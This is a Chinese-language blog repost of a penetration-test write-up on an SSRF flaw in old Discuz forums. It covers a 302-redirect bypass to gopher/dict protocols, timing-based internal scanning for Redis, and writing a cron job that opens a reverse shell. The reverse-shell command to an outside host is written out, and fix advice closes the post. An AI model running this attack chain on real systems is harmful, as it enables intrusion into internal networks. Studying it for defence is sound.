SSRF漏洞经典案例
前言
前一阵补天上看到了这个ssrf的洞,觉得很好地诠释了ssrf漏洞,所以这里我收藏一下,以供日后借鉴。
正文
审核评价:
该漏洞通过一个不起眼的ssrf,用302跳转来跨协议并测试内网的可利用端口,最后利用经典的redis技巧,最终反弹命令执行,每一步的分析和绕过都展现出挖洞技术和code能力,堪为经典。
漏洞梗概:
某某渗透测试工程师在得到授权的情况下。对一个大型的企业做渗透测试。在这个企业的一些主要的服务上面没有找到突破口,
然后在该企业给用户做的一个BBS论坛上找到突破口,巧的是,这个论坛就是拿discuz搭建的,通过ssrf成功进入企业内网。
Discuz SSRF漏洞利用:
旧版Discuz有个下载远程图片的功能存在SSRF漏洞,在/source/module/forum/forum_ajax.php 386行左右中:
这里只只验证了后缀和是否为http://开头,这里我们可以提交http://xxx.com/302.php#1.jpg绕过后缀限制,通过猪猪侠公布出来的ssrf利用常用的协议:gopher、dict、ftp、http等… ,那么怎么绕过http协议限制使用其他协议呢,那就要用到一个302跳转来跨协议,将下面的代码保存为302.php上传到我们自己的服务器:
然后访问:
这里我本地搭建个discuz测试:
在vps上监听2333端口
这里使用的dict协议成功发送数据包。
接下来就是利用此漏洞攻击内网redis,要攻击内网redis首先得知道内网的ip段,然后在通过ssrf扫描内网开放6379端口的主机,找内网ip的办法这里我一般通过爆破厂商的子域名的方式获得,知道内网ip段以后就开始扫描内网开放6379端口的ip:
如上图,利用ftp协议访问一个内网不存在的ip页面就进入等待状态,访问内网中存在的一个ip页面则秒加载:
这样的话就可以通用页面加载时间来判断内网ip是否存在。
判断6379端口是否开放:
访问一个存在的ip并且端口为6379,页面进入等待状态,说明目标开放6379,,那么我们就可以通过时间差来扫描内网的redis主机:
通过上面的脚本扫描内网存活的ip以及开放6379端口的主机
可以看到192.168.1.106开放了6379端口,然后利用下面的代码打内网reids:
// \x20代表空格\x0a代表换行,reids会自动解析
将上面的代码保存为exp.php放到你的vps服务器上,然后用下面的脚本来反弹shell:
上面的脚本做了5个步骤,分别执行了redis的几条命令:
向/var/spool/cron/任务计划里写入一个文件,内容是/1 * /bin/bash -i >& /dev/tcp/phpinfo.me/20>&1 意思是每隔一分钟执行一次后面的命令。
执行以后,然后在vps服务器上监听2333端口,等不到1分钟你会发现目标内网服务器已经反弹过来了。
修复方案 :
- 建议直接关闭远程下载图片这个功能。
- 在_dfsockopen方法内增加curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);将协议限制为http/https可以降低这个SSRF的危害。